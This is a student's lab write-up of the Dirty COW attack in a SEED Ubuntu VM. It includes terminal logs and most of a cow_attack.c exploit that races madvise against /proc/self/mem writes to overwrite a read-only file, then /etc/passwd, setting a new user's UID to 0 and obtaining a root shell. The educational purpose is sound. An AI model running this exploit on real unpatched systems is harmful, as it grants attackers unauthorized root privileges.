

DIRTY COW ATTACK

Rahul M Menon
CB.SC.P2CYS23015

Task 1: Modify a Dummy Read-Only File

```
[11/18/2023 21:05] seed@ubuntu:~$ sudo touch /zzz
[sudo] password for seed:
[11/18/2023 21:06] seed@ubuntu:~$ sudo chmod 644 /zzz
[11/18/2023 21:06] seed@ubuntu:~$ sudo gedit /zzz
[11/18/2023 21:08] seed@ubuntu:~$ cat /zzz
111111222222333333
[11/18/2023 21:08] seed@ubuntu:~$ ls -l /zzz
-rw-r--r-- 1 root root 19 Nov 18 21:07 /zzz
[11/18/2023 21:08] seed@ubuntu:~$ echo 99999 > /zzz
bash: /zzz: Permission denied
[11/18/2023 21:08] seed@ubuntu:~$
```

Here I have created a read only file in the root folder which can only be read by the other users. When trying to write to it as a normal user it says permission denied but we can use the dirty cow vulnerability to write to this file.

Launching the attack

Compiled the Cow_attack.c program and ran it .

```
[11/18/2023 21:15] seed@ubuntu:~/Desktop/Labsetup$ gedit cow_attack.c
[11/18/2023 21:16] seed@ubuntu:~/Desktop/Labsetup$ gcc cow_attack.c -lpthread
[11/18/2023 21:16] seed@ubuntu:~/Desktop/Labsetup$ a.out
```

On another terminal checked whether it was able to modify the program

```
Terminal
[11/18/2023 21:17] seed@ubuntu:~$ cat /zzz
111111*****333333
[11/18/2023 21:17] seed@ubuntu:~$ █
```

Task 2: Modify the Password File to Gain the Root Privilege

We will edit the `/etc/passwd` file in order to gain root access. We will create a new user and edit the third field which is the UID field in order to gain root privileges.

Adding a new user

```
[11/18/2023 21:17] seed@ubuntu:~$ sudo adduser rahul
[sudo] password for seed:
Adding user `rahul' ...
Adding new group `rahul' (1002) ...
Adding new user `rahul' (1001) with group `rahul' ...
Creating home directory `/home/rahul' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for rahul
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
[11/18/2023 21:22] seed@ubuntu:~$ cat /etc/passwd | grep rahul
rahul:x:1001:1002::,/home/rahul:/bin/bash
[11/18/2023 21:23] seed@ubuntu:~$
```

Editing the `cow_attack.c` to attain root privileges for the new user.

```
cow_attack.c
int main(int argc, char *argv[])
{
    pthread_t pth1, pth2;
    struct stat st;
    int file_size;

    // Open the target file in the read-only mode.
    int f = open("/etc/passwd", O_RDONLY);

    // Map the file to COW memory using MAP_PRIVATE.
    fstat(f, &st);
    file_size = st.st_size;
    map = mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    // Find the position of the target area
    char *position = strstr(map, "1001");

    // We have to do the attack using two threads.
    pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
    pthread_create(&pth2, NULL, writeThread, position);

    // Wait for the threads to finish.
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    return 0;
}

void *writeThread(void *arg)
{
    char *content = "0000";
    off_t offset = (off_t) arg;

    int f = open("/proc/self/mem", O_RDWR);
    while(1) {
        // Move the file pointer to the corresponding position.
        lseek(f, offset, SEEK_SET);
        // Write to the memory.
        write(f, content, strlen(content));
    }
}

void *madviseThread(void *arg)
{
    int file_size = (int) arg;
    while(1){
```

Compiled and ran the modified program

```
[11/18/2023 21:31] seed@ubuntu:~/Desktop/Labsetup$ gedit cow_attack.c  
[11/18/2023 21:32] seed@ubuntu:~/Desktop/Labsetup$ gcc cow_attack.c -lpthread  
[11/18/2023 21:32] seed@ubuntu:~/Desktop/Labsetup$ a.out
```

Now checked on another terminal if the new user is running as root

```
[11/18/2023 21:32] seed@ubuntu:~/Desktop/Labsetup$ su rahul  
Password:  
root@ubuntu:/home/seed/Desktop/Labsetup# id  
uid=0(root) gid=1002(rahul) groups=0(root),1002(rahul)  
root@ubuntu:/home/seed/Desktop/Labsetup# whoami  
root  
root@ubuntu:/home/seed/Desktop/Labsetup#
```